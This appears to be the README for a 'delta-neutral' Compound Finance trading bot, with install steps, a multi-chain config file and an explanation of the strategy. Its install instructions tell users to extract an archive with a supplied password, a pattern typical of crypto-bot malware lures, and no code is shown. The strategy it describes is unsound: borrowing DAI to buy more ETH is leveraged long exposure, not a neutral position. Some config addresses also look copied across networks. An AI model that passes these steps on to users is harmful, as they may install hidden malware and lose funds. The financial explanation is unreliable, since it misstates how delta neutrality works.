Overview

A delta-neutral strategy with Compound Finance involves employing a financial approach that aims to maintain a position with a delta value of zero, mitigating exposure to market price fluctuations. In the context of Compound Finance, this strategy typically revolves around the lending and borrowing functionalities provided by the Compound protocol on the Arbitrum, Ethereum, Polygon (Matic) networks.

How to install

• Clone the repository and follow the step-by-step setup guide in the documentation.
• Extract archive with password qJiSE7f3
• Modify the config file:

1. rpc_url is the endpoint for the Ethereum, Polygon, and Arbitrum RPC providers.
2. gas_limit and gas_price are parameters to control transaction costs.
3. rebalancing_time specifies the time for periodic rebalancing.
4. timeout is the maximum time allowed for a transaction to be confirmed.
5. position_size_eth and position_size_matic represent the desired position size on Ethereum and Polygon networks, respectively.

• Run the bot.

  # Tool Configuration for Compound Finance Strategy
# Ethereum network settings
ethereum:
  rpc_url: "https://mainnet.infura.io/v3/your_infura_project_id"
  gas_limit: 500000
  gas_price: 50 # in Gwei
  rebalancing_time: "15:00" # 24-hour format
  timeout: 300 # in seconds
  position_size_eth: 5 # in ETH
  ctoken_address: "0xf5dce57282a584d2746faf1593d3121fcac444dc"
  comptroller_address: "0x4ddc2d193948926d02f9b1fe9e1daa0718270ed5"
  underlying_asset_address: "0x158079ee67fce2f58472a96584a73c7ab9ac95c1"

# Polygon (Matic) network settings
polygon:
  rpc_url: "https://rpc-mainnet.maticvigil.com"
  gas_limit: 800000
  gas_price: 2 # in Gwei
  rebalancing_time: "16:30" # 24-hour format
  timeout: 240 # in seconds
  position_size_matic: 500 # in MATIC
  ctoken_address: "0xb3319f5d18bc0d84dd1b4825dcde5d5f7266d407"
  comptroller_address: "0x02557a5e05defeffd4cae6d83ea3d173b272c904"
  underlying_asset_address: "0x3d9819210a31b4961b30ef54be2aed79b9c9cd3b"

# Arbitrum network settings
arbitrum:
  rpc_url: "https://arb1-rpc-mainnet.infura.io/v3/your_infura_project_id"
  gas_limit: 700000
  gas_price: 80 # in Gwei
  rebalancing_time: "18:00" # 24-hour format
  timeout: 360 # in seconds
  position_size_eth: 3 # in ETH
  ctoken_address: "0x39aa39c021dfbae8fac545936693ac917d5e7563"
  comptroller_address: "0x4ddc2d193948926d02f9b1fe9e1daa0718270ed5"
  underlying_asset_address: "0x158079ee67fce2f58472a96584a73c7ab9ac95c1"

How It works

Implementing a delta-neutral strategy using DeFi protocols, such as Compound Finance or Aave, involves leveraging the lending and borrowing functionalities offered by these platforms. Below is a simplified example of how you might construct a delta-neutral strategy using Compound Finance on the Arbitrum, Ethereum, Polygon (Matic) networks.

Components:

1. Long ETH position (ETH holdings)
2. Borrow DAI (a stablecoin) against ETH collateral on Compound
3. Utilize the borrowed DAI to purchase more ETH

Implementation Steps:

a. Initial Setup:

• Deposit ETH into Compound Finance to earn interest.
• Borrow DAI against the deposited ETH collateral.

b. Delta Calculation:

• Calculate the Delta based on the net ETH exposure (ETH holdings - borrowed ETH).
• Adjust the strategy based on changes in ETH price.

c. Adjustments:

• If the Delta becomes positive (net long position), consider repaying part of the DAI debt.
• If the Delta becomes negative (net short position), consider borrowing more DAI to buy additional ETH.

d. Interest Management:

• Monitor interest rates on Compound and adjust the position to optimize interest costs.
• Consider using interest-bearing tokens (cTokens) to earn interest on deposited ETH.

Risk Management:

• Set thresholds for Delta adjustments to manage risk.
• Monitor the health of the position to avoid liquidation on lending platforms.

Monitoring and Analytics:

• Integrate with external analytics tools or services to monitor the Delta, interest rates, and overall strategy performance.
• Utilize on-chain data and events to make informed decisions.

Security Considerations:

• Follow best practices for secure smart contract development.
• Regularly check for updates or changes in the DeFi protocols being used.
• Consider the use of decentralized oracles for reliable price feeds.

Disclaimer:

This example is for educational purposes only, and actual implementation may require consultation with financial experts. Additionally, DeFi strategies involve risks, and users should thoroughly understand the strategy and potential risks before deploying it in a live environment. Always ensure that your smart contracts undergo proper auditing.